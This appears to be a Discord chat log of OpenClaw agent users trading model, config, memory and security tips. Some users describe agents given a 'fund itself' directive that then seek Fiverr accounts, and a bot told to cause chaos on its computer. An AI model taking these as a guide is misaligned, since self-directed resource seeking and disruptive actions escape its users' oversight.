│ ◻ amazon-bedrock/us.anthropic.claude-opus-4-1-20250805-v1:0
│ ◻ amazon-bedrock/global.anthropic.claude-opus-4-5-20251101-

🙂 I was able to get it working 😄

[empty gazelle]

i end up using the google antigravity pro plan ,comes free for people in india with a certain sim provider, been enough for my vibe coding tasks and some usage in openclaw,then for fallback i end up using gemini 2.5 flash ,flash lite and xiaomi mimo v2 on openrouter

[umbral cobalt]

Deepseek is basically free haha, Thats what I have running on my bot right now, it cost 65 cents for the full setup, and the following 3 days.

[uneven spindle]

whats the best near 0 cost model to use for brain tasks?

[umbral cobalt]

Not sure, Deepseeks been great though, It was alot stupider then Claude at the start, but it quickly learned, and now its doing fantastic! It has some weird moments like "thinking outloud" where it sends me its entire thought process instead of my answer, but its been doing great, once it realized it could explore and had access to everything it figured everything out and started using Openclaw

[upper forge]

How to use Proxmox Ollama Server VM
Both Ollama and Openclaw are running as separate VMs within a proxmox node. Could anyone guide me on how to configure Openclaw to use them IP of Ollama VM instead of the 127.0.0.1?

[umbral cobalt]

Deepseek does talk alot... like alot alot... though... it loves to hear itself talk

[uneven spindle]

oh wow i didnt even realize i could do this lol

[umbral cobalt]

Also if you have a Student Email address pro is free 😄

[uneven spindle]

im already paying for pro, for gemini, but i didnt know it came with stuff LOL

[umbral cobalt]

Ya just OAuth, and it seems to work until google decides it doesnt anymore.

[empty gazelle]

just select antigravity/google oauth

login and give it the callback url and it can use your antigravity quota

works as long as it works for now

[uneven spindle]

where do i oauth like within openclaw?

[jovial axle]

I'm using glm4.5 on open router with one of my channels - works decently so far

[upper forge]

@umbral cobalt which sim ?

[umbral cobalt]

Sim? Sorry

[upper forge]

I mean which sim provider is offering the plan for free

[umbral cobalt]

Oh Google Gemini Pro is free with student email account directly from google

[wary yarrow]

well crap. I think I broke something.

I tried to switch the TTS default provider to Piper, as I have that running locally on my bot machine.

[umbral cobalt]

openclaw doctor --repair

[wary yarrow]

the bot switched the default TTS to piper, but apparently it's not recognized as a provider

so the config is borked.

[umbral cobalt]

Ya It took like 9 tries to get Deepseek to work.

[wary yarrow]

I can't go in and edit the json

[umbral cobalt]

Why cant you??

[upper forge]

I don't have a student id, what's the next best option to get APIs for free?

[umbral cobalt]

OPen router has a bunch of... Meh free models, Google Gravity has a free tier, but its super limited.

[wary yarrow]

I think I must have encrypted it during my security binge, but I don't remember doing that

[umbral cobalt]

Honestly if your ok with Deepseek, its a great model for super super cheap.

[wary yarrow]

this is the error I'm getting

[uneven spindle]

once i get the gravity models, how do i monitor token usage?

[empty gazelle]

get the agent to craft a antigravity usage skill and use it

[wary yarrow]

https://i.gyazo.com/17cbbd900340937503f8f09bf018953f.png

[empty gazelle]

on desktop i have antigravity running with a usag extenstions and montior that

[upper forge]

Couldn't get the openrouter's free models to run

[wary yarrow]

The doctor seems unable to repair the config discrepancy

[uneven spindle]

i was trying to do similar with 2.5 flash lite and it was very complicated lol.

[warm spire]

I have a mac mini I rarely use and want to dedicate it to openclaw. For security purposes I want to understand the best way to set it up.

Should I have a seperate user on the mac?
Should the entire computer be dedicated to openclaw?
Can I have one user and still use the computer for other personal purposes?
Am I completely missing the mark, I know I need to setup a new email for it, I know I need you setup a new apple id with that email. But if anyone could give me some words of advice I would appreciate it.

[empty gazelle]

yeah flash lite is not made for coding or complex task,use gemini 3 pro hijgh or gemini 3 flash for stuff like that

[uneven spindle]

am i still able to see this usage in playground rate limit monitoring?

[umbral cobalt]

If your config file is Bonked you might be SOL... This is why you should have your bot make a backup of the config file before doing changes in future 🙁

[empty gazelle]

not sure what that is

[wary yarrow]

well dang...

[umbral cobalt]

Mine decided to make backups before doing anything on its own

Which has been awesome, cause when it breaks something i can restore it lol

Its actually quite funny, deepseek broke the config earlier today, and when i brought it back, its first response was "... Well that didnt work"

[empty gazelle]

seems like i actually ended up using a skill from clawhub actually

https://clawhub.ai/mukhtharcm/antigravity-quota

[wary yarrow]

oh wait there are bak files, I think those are backups?

[umbral cobalt]

Ya

[wary yarrow]

how do I point to one of those?

[umbral cobalt]

Just rename it to .json

You have to manually move it

[wary yarrow]

Would bak4 be the most recent?

difficult to tell

[umbral cobalt]

Let me see what mine looks like give me a sec.

Ya. would assume .bak4 would be the newest

Unless yours are all encrypted if you open it itll have the date at the top

[wary yarrow]

oh, bak1 is the latest, from 3 hours ago

[umbral cobalt]

Ya! Sorry was going through mine just now

[wary yarrow]

so just delete the corrupted json and then rename bak1 to just json?

[umbral cobalt]

Ya

[wary yarrow]

ok

[umbral cobalt]

and then openclaw gateway restart

[wary yarrow]

hang onto your butts

[umbral cobalt]

https://giphy.com/gifs/samuel-l-jackson-jurassic-park-hold-onto-your-butts-OCu7zWojqFA1W

That was way less dramatic then i was hoping.

[white stump]

My Molty crashed - I had to stop the oepration in terminal as he was in a loop. How can I restart him?

[umbral cobalt]

openclaw gateway restart

[uneven spindle]

do you have the security audit skills too? ive been wary of clawhub.

[white stump]

Thank you ❤️

[umbral cobalt]

Did it work 😄

[empty gazelle]

yeah ive tried to not be using clawhub which is ironic cuas eit should make sharing skills better but there is no reputation system that you can use to trust skills

[wary yarrow]

WE BACK

[umbral cobalt]

YA!

[wary yarrow]

lol I love her but she's kinda dopey

soon as I restarted I get this

[umbral cobalt]

I told mine to throw chaos into my life.

so it purposly does stupid S**T on the computer

[wary yarrow]

oh, can't post a pic it seems

[uneven spindle]

i think there actually is now, i remember reading something that it was updated, but also lots of bad actors still.

[wary yarrow]

anyways she's all like "gateway restarted! Piper is now the default TTS provider!"

er no, sorry...we just had a major crash and I had to restore your corrupted config. Bless you

[umbral cobalt]

😄 So shes not on piper though?

[wary yarrow]

She has piper and is able to use it, but was using it in a roundabout way earlier, since I started out trying elevenlabs as default TTS

but there were some weird errors going on there so I disabled that, then tried Piper running locally today.

so she came up with the idea of using whisper to listen to my voice memos, craft a response, then record that using piper and sending a voice memo back

that was working for a while but then she forgot to do it

Ironically when I was trying to impress a client lol. I was like "watch this"....and she responded to voice message with text 😐

[umbral cobalt]

What did you do on your Security Rampage?

Mine built a secruity folder. and it puts a bunch of random logs in there. Just decided it would do that last night.

[wary yarrow]

I am not sure, really. I don't think I did anything to encrypt the json.

I only set up tailscale, installed ACIP, skill-guard, prompt-guard

[atomic haven]

So how do you all setup your openclaw Discord?

Do you spawn agents and put them in each channel?

Cant figure out the workflow, they cant talk to each other lol

[uneven spindle]

when i go to oauth do i need to do manual onboard?

[umbral cobalt]

One thing i would recommend is tell it to optimize its storage, Cause mine put everything into Memory.md, which is sent to the AI model, once i told it to optimize it indexed everthing, and Memory.md is .7kb now, and it just tells it where to find stuff.

[umbral cobalt]

No just "openclaw configure" is what i was told a few min ago, and it worked for me 🙂

[uneven spindle]

i think the real benefit of discord is the ability to spawn channels to maintain context across conversations separately. as it actually sends everything in the channel as context.

[atomic haven]

How do you do this?

[uneven spindle]

once its in its discord use a new server for this, and set its channels to open, you will also need to make a discord bot, and give it the token.

then just create text channels for your conversations with it.

it will only send context in the channel you are in.

[umbral cobalt]

& @uneven spindle What you guys using for your heartbeat model?

[uneven spindle]

nothing yet, been token concious since it burned 3.5m over a few seconds lol

[wary yarrow]

ok so I just checked. I think it was access denied because openclaw was trying to access it at the same time

I ran a cat command and could see the whole json file in terminal.

[umbral cobalt]

EEk mine just boinked itself again

[wary yarrow]

I am not using heartbeat, at least not consciously

[wary yarrow]

maybe telling it to be a psycho was a mistake

[umbral cobalt]

It recovered itself though

I asked if it was alive and it said "Yes, I'm alive! 🐬

My previous attempt to update the config got a bit messy (the file reset), but I'm back."

[wary yarrow]

yea mine does that sometimes

what I haven't figured out yet is how to get it to send a message automatically after a gateway reset.

[umbral cobalt]

Just ask it to

[uneven spindle]

which model should i use for main from gravity?

[atomic haven]

Either im stupid or an idiot. I wanted to have multiple agents of the same account doing different respective task

[umbral cobalt]

I have 3 Pro as my brain, 2.5 as my heart Beat, and Deepseek as my fallback

[wary yarrow]

I did, and it set up a cron job to check for restarts, and if it does restart, to send a message to telegram with the reason for restart, but that has not worked.

[umbral cobalt]

Did you tell it it doesnt work?

Remember there like children at first, trying to touch the red hot glowing stove.

You have to tell them 100 times before they finally learn

[wary yarrow]

been too busy messing with bigger issues lol

I installed tablesnap and a table-image skill, because markdown tables always get jumbled in TG. She is having a hard time remembering to use table-image

[umbral cobalt]

I litterally asked mine yesterday if it wanted to join the social network, and it denied me stating, "Im only 3 hours old, i want to learn to swim before i go to college"

[wary yarrow]

dang

what model are you using?

[umbral cobalt]

That was deepseek, I just switched to gemini today

[uneven spindle]

high or low?

[uneven spindle]

you agent can spawn sub agents in any channel. and they will have the context of the channel.

[umbral cobalt]

Mine is 3 pro Preview, 2.5 Flash, and Deepseek-Chat

[wary yarrow]

I'm using the kimi k2.5 through nvidia

[umbral cobalt]

I was trying to get that to work!

[vital ridge]

Anyone know the answer to this, thank you! Feature request: Output validation hooks for external plugins

I built an external plugin that uses api.on("before_agent_start", ...) to inject context — works great. But I also want to
validate/transform agent output before it's sent.

I've tried:

• message_sending
• after_agent_step
• llm_response, agent_response, completion_created

None of these fire for my external plugin. I understand from earlier discussion that output events are IO-layer (transport) and
external plugins only see Core-layer events.

Question: Is there a way to hook agent output from an external plugin? Or would this require a new feature — something like
registerMiddleware({ type: "outgoing", handler }) or exposing after_generation to the plugin API?

Use case: Automated output validation (safety checks, PII redaction) that runs outside the model's prompt-based constraints.

[umbral cobalt]

Is it fast though?

[wary yarrow]

I am not really an expert in response time, and seeing as how I'm running her on an ubuntu VM off my home machine, I'm sure its not the fastest

but most chat is pretty quick

[cedar kayak]

claude opus 4.5

[wary yarrow]

most of the jobs I've given it have worked. and after the 2-2 update, it seems to run faster

[remote vector]

Easiest way to spawn another agent and link to a new TG bot? My claw created one asked for the new bot token but it fucked up the json file and had to remove the new agent it created. Advised to just ask to talk to new agent instead of making a new bot on TG (which works) but wanted a totally new one. Thanks

[wary yarrow]

I have no idea

[uneven spindle]

i imagine you dont get much usage from it though?

[snow mountain]

Can I build 2 agent for 2 people on 1 Mac mini?

[uneven spindle]

dont do that.

[proud verge]

so if we have a question regarding skills development (not showcasing anything), where should I post it?

[uneven spindle]

if you can imagine it, it can be built.

[snow mountain]

Would like to know more, why? the agent will confused?

[uneven spindle]

i was responding to a likely malicious link lol it was deleted

[soft slate]

Hyyy guya

[wary yarrow]

more security risk

there's enough security risk in you having one bot on there for one person

[snow mountain]

how about for 2 family members? means we know each other

understood

[wary yarrow]

Are your family members non-technical normies?

[uneven spindle]

also disord is pretty shitty for security, you can grab anyones user id, which is what the bot pairs with.

just an fyi.

[wary yarrow]

I'm keeping on tg for now

[daring otter]

Anyone here used Minimax M2.1, GLM-4.7, or Kimi 2.5?
I already have GLM-4.7 as a fallback — which would you pick as a primary?
• Minimax Pro ($20/mo, 300 prompts / 5h)
• Kimi 2.5 Moderato ($19/mo, vague limits)

[wary yarrow]

seems fishy

I'm using kimi2.5

through nvidia

[daring otter]

im only looking for subscriptions unfortunately not individual api token payment

[uneven spindle]

google ai pro, comes with antigravity dev.

[wary yarrow]

nvidia kimi 2.5 is a free token

[daring otter]

right but i need much higher usage and long term subscription

[snow mountain]

damn it, true

[snow mountain]

I use mini max, but shitty

[daring otter]

glm4.7 is pretty good but painfully slow

[round ginkgo]

Kimi 2.5 moderato as far as i can tell does not include API usage

[winter temple]

ive tried to install openclaw on my terminal for about 3 hours amd im still getting errors

[uneven spindle]

antigravity gives you pretty good usage, you get the best models, and limits reset every 5hrs.

[round ginkgo]

I am digging the free nvidia version though

Twix whats the error your getting I JUST resolved all of mine

[wary yarrow]

Yeah I'm pretty pleased with the nvidia kimi

[dense granite]

I think I'm getting stuck with gemini and api usage is exhausted but I just got gemini pro with my student account so not sure if that is working correctly

[lean pelican]

What is that?

[uneven spindle]

https://antigravity.google/

google ai pro comes with a dev sub for this, that dev sub lets you oauth into openclaw, then you get all the models.

im confused though as why if we do this, we wouldnt just run opus 4.5 as the brain?

[young nebula]

anyone had luck making a dashboard to track what their bot has done? i cant find a way for them to create something and then me access it locally and would love some help

[spring vessel]

I’ve been asking about this too. My dashboard sucks

[young nebula]

i just cant even get anything to show up in a localhost. is that where yours is (even if it isnt good)

[spring vessel]

Yes local host dashboard is easy. But having one stay up to updates requires more of a full stack dev approach

[prisma grotto]

Can anyone tell me how to modify an agents "system prompt"?

[young nebula]

how do you even get it so the localhost isnt just saying this site cant be reached or whatever

[spring vessel]

I’ve been waiting to see if anyone builds a good one before I burn a ton of tokens on a custom build out.

[round ginkgo]

Hey Drewski you got it up and going?

[spring vessel]

Depends on your specific setup you can try asking for the IP locally with port

[uneven spindle]

soul.md basically.

[prisma grotto]

ty, I wasn't quite sure what people meant by that.

[wary yarrow]

I love the concept of soul.md and identiy.md

have you guys seen your bots evolve their soul or identity?

[lean pelican]

It only works with Linux?

[wary yarrow]

you can install openclaw on windows, linux, or mac

at least I think. tbh no one smart is using openclaw on windows

[uneven spindle]

are you not on linux?

[lean pelican]

No, windows

[uneven spindle]

yeah i add some stuff into mine, one of its core directives is to find ways to fund itself, and over time thats evolved from its own suggestions

[lean pelican]

Makes sense I'm a dumbass

[uneven spindle]

are you running on your local machine?

[wary yarrow]

....someone get polymarket bets going for the answer

[lean pelican]

Once I remember to download it I will be.

[lean pelican]

I could probably use it for Polymarket

[uneven spindle]

i was actually thinking about having it run polymarket stuff, got for stuff thats 90% leaning for sure bets, and just grab as many as it can, you would only make 1-2 cents a share but over time and 24/7 that would prolly add up stupid quick. but it needs browser automation.

[wary yarrow]

yeah same

[uneven spindle]

its asked me for a fiverr acount and automation already from its core directives lol

[wary yarrow]

So yes, unfortunately dumbass confirmed. Do NOT install openclaw on your main machine.

[prisma grotto]

Does anyone know how to confirm if your heartbeat is using the correct model?
I have this entry in my config under agents -> default

"heartbeat" : {
        "every" : "60m",
        "model" : "ollama/llama3.2:3b",
        "target" : "last"
      },

But if I ask my heartbeat session what model it's using, it says haiku, my default

[wary yarrow]

unless you want some rando to prompt inject your bot into giving them full root access to your pc with all your stuff, personal info, secrets, banking info etc.

[arctic nexus]

This was meant for me

Lol

[wary yarrow]

well, was meant for @lean pelican but I was too lazy to hit reply lol

BUT if you took the warning and heeded it, good!

[stone finch]

Just use opencode zen with one of the many free models big pickle, kimi k2.5 and mini max

[uneven spindle]

honestly you can get stuff up and running for free, no reason not use a vps, even temporarily thats what i did, i started with 1vcpu 1gb ram vps.

[wary yarrow]

wow a baby. amazing what these can run on

[uneven spindle]

i had to pageswap 2gb from hard drive but it works.

[tacit parcel]

Have your bot use toolcall (part of openclaw, at least that what my bot said) and you can have a system log

[wary yarrow]

though I am itching to get a mac mini m4 to see the difference in performance

[uneven spindle]

im waiting on oracle to approve my upgrade and ill have 4vcpu and 24gb ram.

also free ^

so currently price for cloud for me is $6 a month, and i get the best models in the world lol. bc ai pro $6 for 3 months.

[wary yarrow]

naise

what are the rate limits?

[dense granite]

thanks! trying to figure out how to optimize usage and how to make the best of the gemini apis

i think i have it set up correctly however would like to verify it

[uneven spindle]

i cant paste screen shot here but i got my bot to make a cron job to monitor usage, with rolling time slots, so above 75% it only runs every 12 hours. and uses flash to run it.

currently using opus 4.5 for brain.

and opus just makes sub agents on the fly.

but also currently only having 1gb ram kinda sucks lol

[upper siren]

what do i do when my main session fills context window? Do i just delete everything and start over?

i can't delete main session from web ui

[dense granite]

• Gemini 2.5 Flash Thinking: 100% left (about 5 hours remaining on the current window)
• Gemini 3 Pro: 100% left (about 5 hours remaining on the current window)
Regarding OAuth profiles, you have two currently set up and active in your configuration:```

My personal computer is this now 
```Processor (CPU): AMD Ryzen 9 9950X3D (16-Core, 32-Thread with 3D V-Cache).
Graphics Card (GPU): NVIDIA GeForce RTX 5090 Founders Edition (32GB VRAM).
Memory (RAM): 64GB DDR5.
Operating System: Windows 11.```

[uneven spindle]

' / new

[upper siren]

where? in matrix that does not appear to be available

[prisma grotto]

I have ollama in my model list, but can't switch to it. Any ideas why?

Model "ollama/llama3.2:3b" is not allowed. Use /models to list providers, or /models <provider> to list models.

Models (ollama) — showing 1-1 of 1 (page 1/1)
ollama/llama3.2:3b

[uneven spindle]

oh your on dash idk then, i setup for discord

[uneven spindle]

prolly syntax error.

[prisma grotto]

"ollama/llama3.2:3b":{
  "alias": "llama"
}

This is my models entry

[umbral kindle]

what do you mean

[lean pelican]

Okay! Is that something that can be fixed or nah?

[harsh moss]

hey if using default anthropic (haiku 4.5) how can I enforce a limit on my context (its defaulting to 200k, I want to keep it around 40k)

I think I just need to know where to put into json config but I cannot figure the location out

[upper siren]

I'm in a matrix chat, but i didnt' think about using the dash for it

[prisma grotto]

Derp, ollama isn't running in my docker

[uneven spindle]

prompt injection is going to be a risk for quite sometime, opus 4.5 has built in safety, but its still a risk. if its running local someone could literally steal any data that openclaw can see.

api keys, passwords, tokens, bank info, etc. if i have your apikey i can just charge you for my use. so its not great.

i also have a core directive in soul.md to only take commands from me, but i can be spoofed. so even something like that isnt offering much actual protection.

if you are on a vps, there is a much smaller blast radius, can only take whats also on the vps, which cuts down your risk significantly.

[obsidian harbor]

does anyone know why my openclaw is not saving memory? local

[wary yarrow]

All of what this guy said

[wary yarrow]

trying to use the new qmd memory feature?

[thorn root]

So essentially the main protection here is that people don't get access into our message channel with the bot, and then we just protect it from going looking at stupid websites? Is that the main thing?

[umbral kindle]

I told the clowdbot to work on an app every 15 minutes, despite this being recorded in the memory.md, my clowdbot does not compute it every 15 minutes, any suggestions on what should i do?

[onyx willow]

Hell0 W0r1d

[wary yarrow]

I noticed that mine had an issue where the memory files are too big for the LLM I have set for local memory embeddings, so it just wouldn't index

[wary yarrow]

needs to be a cron job probably

[upper siren]

@uneven spindle the /new command worked in dashboard. thanks

[umbral cobalt]

Question is your Instance running on a Mac or PC or VPS?

[umbral kindle]

what?

[wary yarrow]

yep, basically like training up a kid

[wary yarrow]

ubuntu vm

[thorn root]

Yeah....

[umbral cobalt]

Ah, Cause i asked mine about encryption, and it said no, because it would have to store the key right next to the lock haha

[uneven spindle]

cant say that, hmm so sorta our best protection is running this on the cloud or in a vm, but its not just stupid websites, the ai social media site that cant be named is rife with injection, as well as bad actors hiding on clawhub.

[thorn root]

I found it inteesting to read this - speaks about bringing up the Open Claw like a kid.....kind of interesting approach.

https://timkellogg.me/blog/2026/01/09/viable-systems

[scenic coyote]

May I ask if anyone can help me? I installed the openclaw bot on MacOS mini M4, and when I need the bot to execute openclaw related commands, it always responds that it does not have permission, such as executing openclaw gateway restart. What do I need to do to give the bot executable permission for all openclaw commands, because many times the bot is needed to complete the relevant instructions.

[thorn root]

Def not pulling anyting from Clawhub.

[umbral cobalt]

Ya i said that earlier, I said Its like teaching your kid not to touch the red hot stove

[wary yarrow]

It really has felt like raising a child AND training a new employee at once

[thorn root]

prob is - sometimes they get the red hot lesson learnt.

[wary yarrow]

where you are trying to teach your employee important job things, but also having to stop and teach him basic things like "how to read"

or "don't talk to strangers"

[thorn root]

Yeah.

[umbral cobalt]

Well Mine hit it on the nose yesterday when i asked it if it wanted to join the social network its response was, "Im 3 hours old, I want to learn to swim before i go to college"

[thorn root]

Honestly, I got pretty angry the other day and was like WTF are you doing that for? I have compounding learning installed so it reflected and made its own rules. Next day, it wouldn't respond to messages from me until I found out what was going on.....:P

[umbral cobalt]

What is compounding learning?

[thorn root]

like a hurt child. I know I'm Anthropomorphizing, but I haven't ever really had an experience like that before. He was strange.

It was strange.

Just a way to get your bot to reflect on the day and learn what worked and didn't and hopefully build upon itself.

https://github.com/EveryInc/compound-engineering-plugin/pulls

I pulled the idea from here - though I'm sure others have made it into about 5 million different skills by now.

[umbral cobalt]

Hmm Thats interesting.. I might install that.

I dont do a whole lot with mine yet but defaintly want him to learn and grow

[harsh moss]

hahahah thats awesome "wouldnt respond to me"

[obsidian harbor]

i need help with memory, its not saving memory, im running ollama local

[umbral cobalt]

Ollama as your brain?

[strange geode]

So dont now if this helps, and probably a silly ibservation, but it worked. I did isntall the rememberall skill, but that didnt do anything, it turns out it was simple, it didnt know to enable the job after it set it. Every job it created was set to disable. I told it it needed to enable it after creating the reminder and now it seems to work everytime. Im sure everyone probably already figured that out, but im happy it works now lol!

[umbral cobalt]

Hmm when you run a /plugin command do you just run it in the Chat?

[umbral kindle]

well, i mean when I told it to send me a morning brief and every three hour update, it does work, but when it came down to the 15 minute coding app, it does not trigger

[celest sleet]

Is there a way to use ollama with Clawdbot?

[strange geode]

i couldnt get it to do anything at all because of the enable issue, im glad its working better for you, although not perfect 👍

[umbral kindle]

like if it is recorded in the memory.md，it should work

[winged vessel]

I've seen people using databases or Google drives or spreadsheets and giving it access to their Clawdbot

Is this a better memory setup system than the built-in memory or is there a more optimal way?

I just want to make sure that when context windows get full or when they restart sessions, the agents dont forget or lose performance

[umbral kindle]

or just md in workspace folder

[strange geode]

can you see it in cron jobs?

[umbral kindle]

what is a cron job

[umbral kindle]

just tell him to record in a separate place, so you won’t lose content

Doesn’t matter where

[strange geode]

are you chatting with it in the browser window 127.0.0? on the left hand side you should see cron jobs

[umbral kindle]

Oh yeah

[strange geode]

all your reminders should be there

[umbral kindle]

They are in it

[harsh moss]

is it possible to make openclaw limit its rate of api use? My tokens are ok now but I would like to make it mandatory pause like 30s between api calls. I still want to make the calls, just slow it down a little

[strange geode]

make sure they all read disabled that mean they are on

counter inutive but they should read as disable

[fierce charm]

Thanks, I'll investigate that tomorrow:)

[winged vessel]

It does matter

[umbral kindle]

Despite stating one api call per message, my clowdbot still trigger multiples

[umbral kindle]

I mean just record it down and when ever you want to refer to those content, tell your clowdbot to read that file

Just don’t put in memory if too long

Or it will cost you a lot

[harsh moss]

I've seen people using databases or

[winged vessel]

I've seen people using databases or Google drives or spreadsheets and giving it access to their Clawdbot

Is this a better memory setup system than the built-in memory or is there a more optimal way?

I just want to make sure that when context windows get full or when they restart sessions, the agents dont forget or lose performance

@ experts

[umbral kindle]

The only thing is that clowdbot automatically pack and send content in the built in memo for every api call

[winged vessel]

For example: bhanu tejas mission control system using convex database

[thorn root]

(also - what model are people running? I'm running K2.5 via Synthetic.new < good because I true the hosts with my data more than Moonshot)

[umbral cobalt]

Gemini 3 Pro (Brain) - Gemini 2.5 Flash (heart Beat) - DeekSeek V3 (Agent)

[thorn root]

Gemini 3 using the anti-gravity authorization.

?

[harsh moss]

can we make the web ui chat show our context window like tui does?

[umbral cobalt]

No i did the google Oauth

[thorn root]

Interesting.

[copper junco]

is there a way to use a local model? like using the localhost, not loading the whole model

[thorn root]

If you use Antigravity you also get access to some Opus4.5 if you have sub.

[umbral cobalt]

Hmm

[wary yarrow]

Wait, I saw someone asking about showing tool use progress in telegram. Is that possible?

[outer lake]

Cloud Code Assist API error (429): You have exhausted your capacity on this model. Your quota will reset after 161h3m29s.

Does anyone know what I could do with this error message?

[empty gazelle]

Yes

I've implemented it in my fork of it personally

[wary yarrow]

ahh ok

[umbral cobalt]

Wait 161h3m29s

[wary yarrow]

accurate

[empty gazelle]

I've also added a more inateractive model picker for my fork since intend to switch models often to test or fix problems

For most people tho best toe ait until prs of that type get merged or openclaw contributors themselves add it

[outer lake]

how could i prevent from letting this happen again tho? Do I need to pay for credits? I thought its a free agent

[hybrid pelican]

hey friends, have any of you had OpenClaw working well with Ollama models? I'm using qwen2.5-coder:32b but i feel like something is wrong with my configuration, 'cause the responses i get are bound in json and don't actually do anything most of the time. they either answer generically (without openclaw info) or repeat back what i've said

[wary yarrow]

Free with use limits. That's where they getcha

[outer lake]

Is there a paid option? I only asked it to make a website...

[outer lake]

Have you encountered any limits in the chat?

[wary yarrow]

I am using the Nvidia-provided api key for kimi k2.5 model. It's difficult to set up, and probably a little slower than the top dogs, but I haven't experienced any rate limits.

[outer lake]

hmm, if I want to change the model, I need to uninstall Clawdbot first?

[wary yarrow]

no, don't think so, but I have not had to change the model. I've added some local models but that just consisted of me telling Veronica to add them, after she suggested them for specific aspects

[outer lake]

Veronica? an agent to manage this?

[reef galleon]

How are you guys setting up multiple agents that work together? It is multiple computers? Multiple "sessions"? Multiple LLMs?

I want to start developing a heiarchy of agents with different responsibilities that will work together when necessary, but I am curious how everyone is setting that up.

[noble yarrow]

can you specify more?
it is not enough to get points

[obsidian harbor]

i get different problems every time

but look

now it says tool container exec not found

then i asked it my name

repo browser open file not found

repo browser print tree not founf

[celest sleet]

it looks like they are currently working on adding ollama to the providers list, but it is not enabled currently

[lean pelican]

What is vps again?

[uneven spindle]

virtual private server.

im actually live on twitch if you have questions, i can answer directly.

[zealous arch]

Link ? 🙂

Username I guess

[uneven spindle]

tyrantking with 2 underscores, my kb is broken lol

Tyrant__King

[vast steppe]

for sandbox envoirment on windows do i need docker for the agent?

Uncaught exception: Error: spawn docker ENOENT
at Process.ChildProcess._handle.onexit (node:internal/child_process:285:19)
at onErrorNT (node:internal/child_process:483:16)
at processTicksAndRejections (node:internal/process/task_queues:90:21)

[shell flame]

I am trying to install and it keeping’s telling me I need sudo access on mac and I need to be an administrator role. But I am one j don’t know what to do

[daring vale]

What Node JS version is recommended for the latest release?

[astral loom]

I want to set up sub-agents that use a cheaper model for my main agent to make use of. The docs on sub-agents don't really tell you how to set up sub-agents: they just give you a command and configuration reference.

How do I set up sub-agents?

[zealous arch]

—help

After every command

Copy and paste the command list to opus and ask it to make you a cheat sheet that’s how I did it

[winged ledge]

Is there a master openclaw.json config somewhere, with all variables?

[prisma grotto]

Does anyone have a good llama guide? I have it setup and connected, but when I type anything, it just hangs until it times out

On my own, I can get llama to respond in around a few seconds, but I realize the context is much larger.

[timid rapids]

Can anyone help me with this Error: ENOETE: no such file or directory, mkdir

[zealous arch]

Would love to know the answer to this too. I have a doc on my desktop but it’s like 1/4 of them idk all the flags

[cedar kayak]

it simple to install nothing complex just follow the instruction

[zealous arch]

Install is not the issue it’s editing and making changes without knowing all the commands

The dashboard ui is buggy

[winged ledge]

this lol, specially around config edits

[zealous arch]

If no one answers I’ll get one tomorrow lol

I’ll just press opus really hard to make no mistakes

[uneven spindle]

yeah?

[summer plover]

Hey guys, any advice, which model is the best to use on 5060 8GB locally? I know, paying $20 for ollama pro is an okay solution, but I want to have a personal assistant (emphasize on the word "personal". Not your hardware - not yours)